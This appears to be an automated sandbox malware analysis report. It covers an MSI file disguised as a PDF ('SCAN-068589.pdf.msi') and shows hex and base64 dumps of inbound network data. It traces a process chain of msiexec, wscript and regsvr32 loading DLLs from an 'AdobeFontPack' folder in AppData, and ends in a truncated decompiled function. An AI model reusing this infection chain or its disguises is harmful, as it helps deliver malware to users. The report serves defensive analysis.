4d 31 47 72 4a 67 53 72 76 6a 54 2b 0d 0a 2b 59 75 33 70 59 55 56 64 57 4b 6e 35 33 56 68 2b 45 72 54 63 45 34 64 61 6d 57 48 37 6f 59 33 34 64 69 79 4e 55 33 57 75 Data Ascii: t57FU1e+c+XUFKigDCufFKM2Uoz6LJMkHLfaDEAUpjJLJ89daDVBSrVD2WQWXpIl09Yq5T3tvVMbOlb+c6HDFU5l3SanLS5IIQv4q7q76FVUZ1SNEw0Pkclwq6aHFMWjYfHWpjjaYTaoIqH4e6DID/uwHKgRDNAEAN+Ep+2mD+8o185FtCY8kzqIWNf8prQCKHM1GrJgSrvjT++Yu3pYUVdWKn53Vh+ErTcE4damWH7oY34diyNU3Wu
2022-06-16 18:32:39 UTC	1863	IN	Data Raw: 73 78 4b 4a 6d 44 36 62 6e 70 30 73 53 34 72 4c 72 78 53 66 4e 32 6f 37 4b 6f 57 5a 58 45 6f 71 58 4d 35 4d 64 5a 45 39 64 4d 72 47 2b 79 43 78 51 2f 38 42 58 4c 35 64 72 74 79 6d 74 36 55 73 0d 0a 74 78 65 74 5a 2b 56 32 61 66 70 4d 30 51 62 4e 6c 50 58 43 51 75 36 2f 34 59 6f 4c 55 72 42 39 33 6b 66 68 31 48 78 49 66 62 41 43 66 57 42 62 41 54 38 6b 75 62 56 75 4d 32 55 6f 78 36 72 64 0d 0a 53 4b 6f 77 55 62 71 61 76 6d 4a 6a 4e 44 6c 34 78 70 75 38 2f 54 47 77 68 69 69 36 75 49 71 33 70 5a 30 6a 63 6c 46 6e 35 66 58 75 50 4c 77 2b 76 30 74 43 4e 44 68 45 50 43 59 38 4d 66 33 37 0d 0a 64 45 58 65 4e 70 44 50 45 56 47 53 64 71 34 34 6d 36 57 4b 62 62 48 61 6d 44 75 34 69 66 4b 67 53 6d 44 4e 4e 7a 79 37 75 70 73 4d 64 34 4b 55 55 59 61 36 31 6d 4e 30 72 Data Ascii: sxKJmD6bnp0sS4rLrxSfN2o7KoWZXEoqXM5MdZE9dMrG+yCxQ/8BXL5drtymt6UstxetZ+V2afpM0QbNlPXCQu6/4YoLUrB93kfh1HxIfbACfWBbAT8kubVuM2Uox6rdSKowUbqavmJjNDl4xpu8/TGwhii6uIq3pZ0jclFn5fXuPLw+v0tCNDhEPCY8Mf37dEXeNpDPEVGSdq44m6WKbbHamDu4ifKgSmDNNzy7upsMd4KUUYa61mN0r
2022-06-16 18:32:39 UTC	1879	IN	Data Raw: 32 63 77 5a 76 4c 6d 4b 6f 65 4f 72 7a 59 33 63 36 70 62 49 6d 6f 36 6c 39 4f 69 2f 76 62 2b 31 4b 4a 71 47 6e 59 50 6e 34 59 47 36 33 73 34 6b 0d 0a 75 61 75 2b 68 4a 36 62 6a 4c 66 58 2b 50 69 4c 72 70 69 48 2f 72 69 49 73 7a 4b 47 4d 30 4d 6b 55 6b 59 50 59 65 2f 76 7a 4d 4b 48 75 67 57 72 4b 4b 47 70 76 71 34 75 39 67 42 4a 53 68 38 7a 0d 0a 47 45 6e 71 36 38 2b 63 6a 72 4d 4b 33 67 43 6e 79 63 65 48 36 44 54 57 67 7a 33 6b 67 62 72 59 7a 6c 43 39 71 37 36 45 79 4a 75 4d 74 39 66 34 6c 49 2b 75 6d 49 65 77 75 49 69 7a 30 62 73 47 0d 0a 76 38 76 48 72 52 32 6b 6d 35 57 2f 74 41 53 36 71 72 79 64 47 59 79 34 6b 73 33 4c 54 62 57 6c 69 74 30 51 6a 4a 36 52 75 4f 67 4a 73 36 58 4a 72 77 58 73 77 62 76 6f 39 42 4b 58 79 38 61 52 0d 0a 43 59 69 36 69 38 2f Data Ascii: 2cwZvLmKoeOrzY3c6pbImo6l9Oi/vb+1KJqGnYPn4YG63s4kuau+hJ6bjLfX+PiLrpiH/riIszKGM0MkUkYPYe/vzMKHugWrKKGpvq4u9gBJSh8zGEnq68+cjrMK3gCnyceH6DTWgz3kgbrYzlC9q76EyJuMt9f4lI+umIewuIiz0bsGv8vHrR2km5W/tAS6qrydGYy4ks3LTbWlit0QjJ6RuOgJs6XJrwXswbvo9BKXy8aRCYi6i8/
2022-06-16 18:32:39 UTC	1895	IN	Data Raw: 53 55 39 57 6e 4f 61 53 69 4d 74 79 55 57 64 75 4d 32 56 78 54 46 6f 32 52 6b 49 30 4f 45 52 6c 0d 0a 65 57 4a 71 4e 44 6c 34 52 56 56 44 64 45 52 55 51 57 31 47 52 6e 56 49 57 6e 55 30 63 6c 46 6e 62 6a 4e 6c 63 55 78 61 4e 6b 5a 43 4e 44 68 45 5a 58 6c 69 61 6a 51 35 65 45 56 56 51 33 52 45 0d 0a 56 45 46 74 52 6b 5a 31 53 46 70 31 4e 48 4a 52 5a 32 34 7a 5a 58 46 4d 57 6a 5a 47 51 6a 51 34 52 47 56 35 59 6d 6f 30 4f 58 68 46 56 55 4e 30 52 46 52 42 62 55 5a 47 64 55 68 61 64 54 52 79 0d 0a 55 57 64 75 4d 32 56 78 54 46 6f 32 52 6b 49 30 4f 45 52 6c 65 66 4b 52 50 44 6d 53 75 46 31 44 71 4c 6c 63 51 63 32 2b 54 6e 58 30 6f 6e 30 30 6f 71 6c 76 62 74 2b 64 65 55 78 51 7a 30 35 43 0d 0a 4b 4d 46 4d 5a 55 6d 62 59 6a 52 7a 67 55 31 56 49 34 31 4d 56 44 65 Data Ascii: SU9WnOaSiMtyUWduM2VxTFo2RkI0OERleWJqNDl4RVVDdERUQW1GRnVIWnU0clFnbjNlcUxaNkZCNDhEZXliajQ5eEVVQ3REVEFtRkZ1SFp1NHJRZ24zZXFMWjZGQjQ4RGV5Ymo0OXhFVUN0RFRBbUZGdUhadTRyUWduM2VxTFo2RkI0OERlefKRPDmSuF1DqLlcQc2+TnX0on00oqlvbt+deUxQz05CKMFMZUmbYjRzgU1VI41MVDe
2022-06-16 18:32:39 UTC	1911	IN	Data Raw: 5a 68 41 36 4b 42 70 47 63 6c 45 58 48 46 77 52 0d 0a 48 69 38 31 57 6d 59 73 57 30 78 6b 46 67 77 53 47 6c 74 4c 44 43 41 78 51 33 51 32 4d 53 41 4a 5a 69 6b 62 4a 43 4e 56 55 68 73 39 41 6b 35 41 48 41 49 34 50 31 74 47 51 6a 52 4b 49 52 59 57 0d 0a 46 78 68 58 58 46 67 68 4d 43 49 51 4b 44 73 69 42 6d 59 78 47 6a 30 32 45 52 51 64 4d 67 51 62 51 57 56 78 54 43 68 54 4e 53 31 42 53 69 63 41 57 52 63 45 56 55 38 5a 4c 44 6b 69 46 69 67 78 0d 0a 59 52 6b 30 50 31 55 70 50 52 52 64 48 46 46 6e 48 46 59 57 42 43 41 75 46 69 6b 33 51 42 67 72 41 31 6b 51 43 31 70 65 48 55 55 6d 4e 78 55 77 4d 57 45 44 4b 54 4a 56 4f 6a 38 57 57 77 51 30 0d 0a 46 51 39 52 43 52 52 4d 57 6a 59 31 4e 6b 5a 64 4a 51 68 5a 46 67 4e 5a 58 42 63 77 49 55 4e 30 4d 44 45 35 47 57 59 Data Ascii: ZhA6KBpGclEXHFwRHi81WmYsW0xkFgwSGltLDCAxQ3Q2MSAJZikbJCNVUhs9Ak5AHAI4P1tGQjRKIRYWFxhXXFghMCIQKDsiBmYxGj02ERQdMgQbQWVxTChTNS1BSicAWRcEVU8ZLDkiFigxYRk0P1UpPRRdHFFnHFYWBCAuFik3QBgrA1kQC1peHUUmNxUwMWEDKTJVOj8WWwQ0FQ9RCRRMWjY1NkZdJQhZFgNZXBcwIUN0MDE5GWY
2022-06-16 18:32:39 UTC	1927	IN	Data Raw: 0d 0a 6f 4c 4f 66 33 35 36 38 69 59 48 44 6c 49 4f 2f 72 73 4f 77 74 63 7a 42 76 70 36 46 6e 35 54 4c 4f 58 68 6c 56 57 4e 30 5a 46 52 68 62 57 5a 47 56 55 68 36 64 52 52 79 63 57 64 47 4d 30 31 78 0d 0a 5a 46 6f 65 52 6d 6f 30 47 45 52 46 65 55 4a 71 46 44 6c 59 52 58 56 44 56 45 52 30 51 55 31 47 5a 6e 56 6f 57 6c 55 30 55 6c 46 48 62 68 4e 6c 55 55 78 36 4e 6d 5a 43 66 44 68 55 5a 57 6c 69 0d 0a 65 6a 51 70 65 46 56 56 55 33 52 55 56 46 46 74 56 6b 5a 6c 53 45 70 31 4a 48 4a 42 5a 33 34 7a 64 58 48 49 57 72 4a 47 78 6a 53 38 52 4f 46 35 35 6d 71 77 4f 66 78 46 30 55 50 77 52 45 52 42 0d 0a 66 55 5a 57 64 56 68 61 5a 54 52 69 55 58 64 75 73 6d 54 77 54 64 73 33 78 30 4f 31 4f 63 56 6b 65 47 4e 72 4e 54 68 35 52 46 52 43 64 55 56 56 51 47 78 48 52 33 52 Data Ascii: oLOf3568iYHDlIO/rsOwtczBvp6Fn5TLOXhlVWN0ZFRhbWZGVUh6dRRycWdGM01xZFoeRmo0GERFeUJqFDlYRXVDVER0QU1GZnVoWlU0UlFHbhNlUUx6NmZCfDhUZWliejQpeFVVU3RUVFFtVkZlSEp1JHJBZ34zdXHIWrJGxjS8ROF55mqwOfxF0UPwRERBfUZWdVhaZTRiUXdusmTwTds3x0O1OcVkeGNrNTh5RFRCdUVVQGxHR3R
2022-06-16 18:32:39 UTC	1943	IN	Data Raw: 68 61 45 7a 51 41 55 55 70 75 66 32 55 6b 54 46 6f 32 4a 45 4a 48 4f 47 6c 6c 4f 32 49 72 4e 42 52 34 43 56 55 69 64 44 42 55 4c 32 31 47 52 6e 56 49 0d 0a 4b 58 56 5a 63 6a 74 6e 51 7a 4d 32 63 51 6c 61 4e 6b 5a 43 4e 46 6c 45 46 33 6c 50 61 6e 6b 35 4f 55 56 56 51 78 46 45 4f 6b 46 41 52 67 39 31 44 56 70 31 4e 42 64 52 46 47 34 65 5a 53 46 4d 0d 0a 47 7a 5a 47 51 6c 49 34 4e 6d 56 55 59 69 63 30 65 6e 68 46 56 54 42 30 4e 6c 52 73 62 51 52 47 4e 45 68 33 64 58 68 79 4d 47 63 61 4d 77 74 78 54 46 6f 32 52 6a 45 30 56 55 51 45 65 55 39 71 0d 0a 65 6a 6b 33 52 56 56 44 64 45 51 31 51 52 39 47 61 33 55 63 57 6a 73 30 63 6c 45 43 62 6c 31 6c 58 45 77 41 4e 67 64 43 4e 44 67 68 5a 51 70 69 52 7a 52 39 65 41 70 56 51 33 51 33 56 44 4e 74 0d 0a 61 30 59 33 53 Data Ascii: haEzQAUUpuf2UkTFo2JEJHOGllO2IrNBR4CVUidDBUL21GRnVIKXVZcjtnQzM2cQlaNkZCNFlEF3lPank5OUVVQxFEOkFARg91DVp1NBdRFG4eZSFMGzZGQlI4NmVUYic0enhFVTB0NlRsbQRGNEh3dXhyMGcaMwtxTFo2RjE0VUQEeU9qejk3RVVDdEQ1QR9Ga3UcWjs0clECbl1lXEwANgdCNDghZQpiRzR9eApVQ3Q3VDNta0Y3S
2022-06-16 18:32:39 UTC	1959	IN	Data Raw: 49 4c 63 6c 46 6e 62 71 56 77 68 6e 4e 61 4e 6b 59 43 6f 53 32 7a 57 6e 6c 69 61 72 53 74 62 62 4a 71 0d 0a 51 33 52 45 6c 4e 4a 34 73 58 6c 31 53 46 70 31 70 32 65 6d 57 47 34 7a 5a 54 48 65 54 38 46 35 51 6a 51 34 78 50 52 73 6c 56 55 30 4f 58 69 46 78 56 61 44 65 31 52 42 62 55 62 57 59 4c 39 6c 0d 0a 64 54 52 79 30 65 68 37 78 46 70 78 54 46 72 32 79 46 66 44 42 30 52 6c 65 57 4c 6b 49 63 35 48 52 56 56 44 4e 4d 6c 42 74 6c 4a 47 52 6e 58 49 31 6d 44 44 54 56 46 6e 62 76 50 75 5a 4c 74 6c 0d 0a 4e 6b 5a 43 4e 4c 4e 52 6b 6b 5a 69 61 6a 52 35 38 6c 43 69 66 48 52 45 56 4d 48 6b 55 37 46 4b 53 46 70 31 4e 50 74 45 6b 46 45 7a 5a 58 45 4d 30 69 4f 78 66 54 51 34 52 4f 58 2b 64 35 30 4c 0d 0a 4f 58 68 46 6c 63 56 68 73 32 74 42 62 55 5a 47 38 31 32 74 53 Data Ascii: ILclFnbqVwhnNaNkYCoS2zWnliarStbbJqQ3RElNJ4sXl1SFp1p2emWG4zZTHeT8F5QjQ4xPRslVU0OXiFxVaDe1RBbUbWYL9ldTRy0eh7xFpxTFr2yFfDB0RleWLkIc5HRVVDNMlBtlJGRnXI1mDDTVFnbvPuZLtlNkZCNLNRkkZiajR58lCifHREVMHkU7FKSFp1NPtEkFEzZXEM0iOxfTQ4ROX+d50LOXhFlcVhs2tBbUZG812tS
2022-06-16 18:32:39 UTC	1975	IN	Data Raw: 4a 52 5a 39 59 37 64 58 46 4d 57 6a 5a 47 51 6a 51 34 0d 0a 52 47 56 35 59 6e 6f 34 4d 47 67 4a 37 55 74 6b 52 46 52 42 62 55 5a 47 64 55 68 5a 64 54 52 79 44 64 39 6d 49 77 6e 4a 52 45 6f 71 2f 6b 6f 6b 59 50 64 74 61 57 4a 71 4e 44 6c 6f 53 56 78 54 0d 0a 64 6b 52 55 51 57 31 47 52 6e 57 33 70 59 72 4c 63 6c 46 6e 62 6e 4e 6c 63 55 77 57 6a 6b 35 53 4e 44 68 45 5a 58 6c 69 61 6a 51 35 65 45 56 56 6f 33 39 4e 52 4e 33 56 54 6c 5a 31 53 46 70 31 0d 0a 4e 48 4a 52 5a 32 30 7a 5a 58 48 67 34 6a 35 57 2f 6f 77 77 56 48 6e 42 61 6e 70 73 69 6e 42 56 56 55 4e 30 52 4c 52 4b 5a 46 5a 45 64 55 68 61 64 54 52 79 55 5a 69 52 7a 4a 70 78 54 46 6f 32 0d 0a 42 6b 49 30 4f 4e 6a 64 63 58 4a 71 4e 44 6c 34 52 56 56 44 64 45 52 55 51 57 33 4b 54 58 78 59 74 73 30 38 59 Data Ascii: JRZ9Y7dXFMWjZGQjQ4RGV5Yno4MGgJ7UtkRFRBbUZGdUhZdTRyDd9mIwnJREoq/kokYPdtaWJqNDloSVxTdkRUQW1GRnW3pYrLclFnbnNlcUwWjk5SNDhEZXliajQ5eEVVo39NRN3VTlZ1SFp1NHJRZ20zZXHg4j5W/owwVHnBanpsinBVVUN0RLRKZFZEdUhadTRyUZiRzJpxTFo2BkI0ONjdcXJqNDl4RVVDdERUQW3KTXxYts08Y
2022-06-16 18:32:39 UTC	1991	IN	Data Raw: 69 52 0d 0a 47 42 4a 32 58 4b 58 4a 75 62 32 47 70 45 46 31 68 70 32 56 79 77 38 50 51 6b 56 41 64 45 52 55 41 42 70 42 56 6f 71 33 70 59 72 55 42 56 5a 33 54 44 62 32 61 45 31 61 4e 6b 61 65 30 6a 42 55 0d 0a 5a 58 6c 69 61 6a 51 35 65 45 56 56 51 33 52 45 56 45 46 74 52 6b 5a 31 53 46 70 30 4e 48 4a 52 6d 4a 48 4d 6d 73 50 51 58 79 61 35 76 63 76 48 39 42 4a 2b 63 6b 67 78 71 6d 46 48 56 55 4e 30 0d 0a 54 4c 4e 4a 66 55 5a 47 64 55 68 61 64 54 52 79 55 57 64 75 4d 32 56 78 54 46 6f 32 52 6b 49 30 4f 55 52 6c 65 53 4a 71 4e 44 6c 34 52 56 56 44 64 45 52 55 51 55 6b 69 52 6d 57 33 70 59 72 4c 0d 0a 63 6c 46 6e 62 73 79 61 6a 72 4e 61 4e 6b 5a 43 4e 44 68 45 5a 58 6c 69 61 6a 51 34 65 45 56 56 51 6e 52 45 56 48 32 4b 54 6c 5a 58 54 63 6c 73 4e 6e 4a 52 5a Data Ascii: iRGBJ2XKXJub2GpEF1hp2Vyw8PQkVAdERUABpBVoq3pYrUBVZ3TDb2aE1aNkae0jBUZXliajQ5eEVVQ3REVEFtRkZ1SFp0NHJRmJHMmsPQXya5vcvH9BJ+ckgxqmFHVUN0TLNJfUZGdUhadTRyUWduM2VxTFo2RkI0OURleSJqNDl4RVVDdERUQUkiRmW3pYrLclFnbsyajrNaNkZCNDhEZXliajQ4eEVVQnREVH2KTlZXTclsNnJRZ
2022-06-16 18:32:39 UTC	2007	IN	Data Raw: 56 64 56 5a 70 33 4a 61 4e 6b 62 43 4e 44 68 59 5a 58 6c 69 66 41 56 76 53 79 4e 67 64 55 7a 33 62 66 4a 57 43 6e 76 6a 64 6d 78 4b 34 6b 31 52 39 32 34 7a 0d 0a 4a 58 46 4d 57 6b 42 33 35 41 66 48 63 47 46 4d 65 31 38 52 44 46 4a 77 50 58 51 5a 63 31 4e 35 59 58 35 77 54 34 64 67 6f 51 35 45 61 72 5a 56 35 56 35 48 63 4a 55 4b 6b 6e 36 48 42 66 78 59 0d 0a 66 31 7a 6c 43 71 31 47 73 32 76 63 53 2b 42 72 51 63 31 47 52 6a 56 49 57 6e 57 67 51 73 68 58 69 41 4d 61 51 4d 68 72 30 48 66 4b 42 6f 64 32 6f 55 74 45 57 59 67 4b 75 58 59 71 64 76 42 78 0d 0a 63 58 5a 48 63 63 5a 43 69 6d 31 70 44 42 68 70 74 6c 66 6c 58 42 56 33 4d 77 33 35 65 54 55 45 48 31 6e 61 58 6d 71 45 4f 58 67 42 56 55 4e 30 73 6d 64 62 57 51 39 79 79 48 79 38 51 53 46 48 0d 0a 42 6c 48 Data Ascii: VdVZp3JaNkbCNDhYZXlifAVvSyNgdUz3bfJWCnvjdmxK4k1R924zJXFMWkB35AfHcGFMe18RDFJwPXQZc1N5YX5wT4dgoQ5EarZV5V5HcJUKkn6HBfxYf1zlCq1Gs2vcS+BrQc1GRjVIWnWgQshXiAMaQMhr0HfKBod2oUtEWYgKuXYqdvBxcXZHccZCim1pDBhptlflXBV3Mw35eTUEH1naXmqEOXgBVUN0smdbWQ9yyHy8QSFHBlH
2022-06-16 18:32:39 UTC	2023	IN	Data Raw: 56 73 6c 2f 6d 67 57 4f 63 65 51 4c 6e 46 61 5a 55 59 49 48 79 55 75 39 5a 6b 4e 41 54 47 42 52 57 56 35 79 0d 0a 56 58 78 79 51 51 52 47 61 56 4d 75 42 79 31 46 48 47 35 75 63 69 49 41 55 48 41 56 54 52 70 65 74 41 33 77 63 63 56 33 37 48 42 55 34 57 56 47 57 6e 56 49 57 6c 6b 4c 53 6d 37 50 55 66 39 61 0d 0a 6f 58 4f 36 43 61 4a 39 33 41 65 30 57 6e 6c 69 61 6f 51 78 65 45 46 57 51 33 52 4d 5a 45 31 64 59 6e 5a 42 65 47 4a 46 64 45 49 4a 56 77 59 44 43 55 45 77 61 72 5a 32 78 67 53 77 64 50 56 4a 0d 0a 79 6c 71 4d 43 63 52 31 6d 58 4f 6b 64 49 78 78 6e 58 5a 47 52 45 78 72 59 51 56 71 59 48 74 66 45 31 52 56 66 58 59 48 41 6e 4e 38 43 53 52 55 48 56 4d 57 42 62 6c 4a 33 57 54 72 52 65 68 6c 0d 0a 2f 56 79 47 64 37 46 35 6b 6b 54 34 51 34 56 57 67 67 4b Data Ascii: Vsl/mgWOceQLnFaZUYIHyUu9ZkNATGBRWV5yVXxyQQRGaVMuBy1FHG5uciIAUHAVTRpetA3wccV37HBU4WVGWnVIWlkLSm7PUf9aoXO6CaJ93Ae0WnliaoQxeEFWQ3RMZE1dYnZBeGJFdEIJVwYDCUEwarZ2xgSwdPVJylqMCcR1mXOkdIxxnXZGRExrYQVqYHtfE1RVfXYHAnN8CSRUHVMWBblJ3WTrRehl/VyGd7F5kkT4Q4VWggK

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: msiexec.exePID: 6420, Parent PID: 456

General

Target ID:	0
Start time:	20:30:40
Start date:	16/06/2022
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\SCAN-068589.pdf.msi"
Imagebase:	0x7ff625550000
File size:	66048 bytes
MD5 hash:	4767B71A318E201188A0D0A420C8B608
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: msiexec.exePID: 6480, Parent PID: 568

General

Target ID:	1
Start time:	20:30:43
Start date:	16/06/2022
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff625550000
File size:	66048 bytes
MD5 hash:	4767B71A318E201188A0D0A420C8B608
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: wscript.exePID: 6728, Parent PID: 6480

General

Target ID:	4
Start time:	20:30:48
Start date:	16/06/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	wscript.exe C:\Users\user\AppData\Local\AdobeFontPack\notify.vbs
Imagebase:	0x7ff72b9b0000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 6736, Parent PID: 6480

General

Target ID:	5
Start time:	20:30:48
Start date:	16/06/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32.exe -n -i:"Install" C:\Users\user\AppData\Local\AdobeFontPack\main.dll
Imagebase:	0x7ff7d4940000
File size:	24064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 6764, Parent PID: 6736

General

Target ID:	6
Start time:	20:30:49
Start date:	16/06/2022
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-n -i:"Install" C:\Users\user\AppData\Local\AdobeFontPack\main.dll
Imagebase:	0xe90000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 7032, Parent PID: 848

General

Target ID:	22
Start time:	20:31:43
Start date:	16/06/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe -n -i:"Update?heck" "C:\Users\user\AppData\Local\x86\5507.nls"
Imagebase:	0x7ff7d4940000
File size:	24064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 4088, Parent PID: 7032

General

Target ID:	23
Start time:	20:31:44
Start date:	16/06/2022
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-n -i:"Update?heck" "C:\Users\user\AppData\Local\x86\5507.nls"
Imagebase:	0xe90000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: regsvr32.exePID: 4088, Parent PID: 7032COMMON

Execution Graph

Execution Coverage:	10.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	13.1%
Total number of Nodes:	1309
Total number of Limit Nodes:	64

Executed Functions

Function 6DA98300 Relevance: 15.1, APIs: 7, Strings: 1, Instructions: 1071
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E6DA98300(char _a4) {
				signed char _v5;
				signed char _v6;
				signed char _v7;
				signed char _v8;
				signed char _v9;
				signed char _v10;
				signed char _v11;
				signed char _v12;
				void* _v13;
				signed int _v14;
				char _v15;
				signed char _v16;
				void* _v17;
				signed int _v18;
				signed char _v19;
				void* _v20;
				signed int _v21;
				signed char _v22;
				void* _v23;
				signed int _v24;
				signed char _v25;
				void* _v26;
				signed int _v27;
				signed char _v28;
				void* _v29;
				signed int _v30;
				signed char _v31;
				void* _v32;
				signed int _v33;
				char _v40;
				char _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				char _v76;
				void* _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				void* _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				intOrPtr _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				intOrPtr _v192;
				intOrPtr _v196;
				intOrPtr* _v200;
				intOrPtr _v204;
				intOrPtr* _v208;
				signed int _v212;
				intOrPtr* _v216;
				intOrPtr _v220;
				intOrPtr* _v224;
				signed int _v228;
				intOrPtr* _v232;
				intOrPtr _v236;
				intOrPtr* _v240;
				signed int _v244;
				intOrPtr* _v248;
				char _v252;
				intOrPtr* _v256;
				intOrPtr* _v260;
				char _v264;
				intOrPtr* _v268;
				signed int _v272;
				intOrPtr* _v276;
				char _v280;
				void* _v284;
				signed int _v288;
				intOrPtr* _v292;
				signed int _v296;
				intOrPtr* _v300;
				intOrPtr _v304;
				intOrPtr* _v308;
				signed int _v312;
				signed char _v316;
				intOrPtr _v320;
				signed char _v324;
				signed char _v328;
				signed char _v332;
				signed char _v336;
				signed char _v340;
				signed char _v344;
				intOrPtr _v348;
				intOrPtr _v352;
				intOrPtr _v356;
				intOrPtr* _v360;
				intOrPtr _v364;
				char _v368;
				intOrPtr* _v372;
				char _v376;
				intOrPtr* _v380;
				intOrPtr* _v384;
				intOrPtr _v388;
				intOrPtr _v392;
				intOrPtr _v396;
				intOrPtr _v400;
				intOrPtr _v404;
				intOrPtr _v408;
				intOrPtr* _v412;
				intOrPtr _v416;
				signed int _v420;
				intOrPtr* _v424;
				signed int _v428;
				intOrPtr _v432;
				intOrPtr _v436;
				intOrPtr _v440;
				intOrPtr* _v444;
				intOrPtr _v448;
				char _v452;
				intOrPtr* _v456;
				char _v460;
				intOrPtr* _v464;
				char _v468;
				intOrPtr* _v472;
				char _v476;
				intOrPtr* _v480;
				intOrPtr _v484;
				intOrPtr _v488;
				intOrPtr _v492;
				intOrPtr _v496;
				intOrPtr _v500;
				intOrPtr _v504;
				intOrPtr _v508;
				intOrPtr _v512;
				intOrPtr* _v516;
				intOrPtr _v520;
				signed int _v524;
				intOrPtr* _v528;
				signed int _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr* _v548;
				intOrPtr _v552;
				char _v556;
				intOrPtr* _v560;
				char _v564;
				intOrPtr* _v568;
				char _v572;
				intOrPtr* _v576;
				char _v580;
				intOrPtr* _v584;
				intOrPtr* _v588;
				intOrPtr* _v592;
				long _v596;
				long _v600;
				long _v604;
				char* _v608;
				char* _v612;
				void* _v616;
				intOrPtr _v620;
				intOrPtr _v624;
				intOrPtr* _v628;
				intOrPtr _v632;
				signed int _v636;
				intOrPtr* _v640;
				signed int _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr* _v660;
				intOrPtr _v664;
				intOrPtr* _v668;
				intOrPtr _v672;
				intOrPtr _v676;
				intOrPtr _v680;
				intOrPtr* _v684;
				intOrPtr _v688;
				signed int _v692;
				intOrPtr* _v696;
				signed int _v700;
				intOrPtr _v704;
				intOrPtr _v708;
				intOrPtr _v712;
				intOrPtr* _v716;
				intOrPtr _v720;
				char _v724;
				intOrPtr* _v728;
				char _v732;
				intOrPtr* _v736;
				char _v740;
				intOrPtr* _v744;
				intOrPtr* _v748;
				DWORD* _v752;
				long _v756;
				void* _v760;
				void* _v764;
				intOrPtr _v768;
				intOrPtr _v772;
				intOrPtr* _v776;
				intOrPtr _v780;
				signed int _v784;
				intOrPtr* _v788;
				signed int _v792;
				intOrPtr _v796;
				intOrPtr _v800;
				intOrPtr _v804;
				intOrPtr* _v808;
				intOrPtr _v812;
				char _v816;
				intOrPtr* _v820;
				char _v824;
				intOrPtr* _v828;
				long _v832;
				int _v836;
				intOrPtr _v840;
				intOrPtr _v844;
				intOrPtr* _v848;
				intOrPtr _v852;
				signed int _v856;
				intOrPtr* _v860;
				signed int _v864;
				intOrPtr _v868;
				intOrPtr _v872;
				intOrPtr _v876;
				intOrPtr* _v880;
				intOrPtr _v884;
				intOrPtr* _v888;
				void* _v892;
				intOrPtr _v896;
				intOrPtr _v900;
				intOrPtr _v904;
				intOrPtr _v908;
				intOrPtr _v912;
				intOrPtr _v916;
				intOrPtr _v920;
				intOrPtr _v924;
				intOrPtr _v928;
				intOrPtr _v932;
				intOrPtr _v936;
				intOrPtr _v940;
				intOrPtr _v944;
				intOrPtr _v948;
				intOrPtr _v952;
				intOrPtr _v956;
				intOrPtr* _v960;
				intOrPtr _v964;
				signed int _v968;
				intOrPtr* _v972;
				signed int _v976;
				intOrPtr _v980;
				char _v984;
				char _v988;
				char _v992;
				char _v996;
				char _v1000;
				intOrPtr _v1004;
				intOrPtr _v1008;
				intOrPtr _v1012;
				char _v4084;
				intOrPtr _t995;
				intOrPtr _t1175;
				intOrPtr _t1250;
				intOrPtr _t1304;
				intOrPtr _t1319;
				intOrPtr _t1336;
				intOrPtr _t1370;

				_v80 = 0;
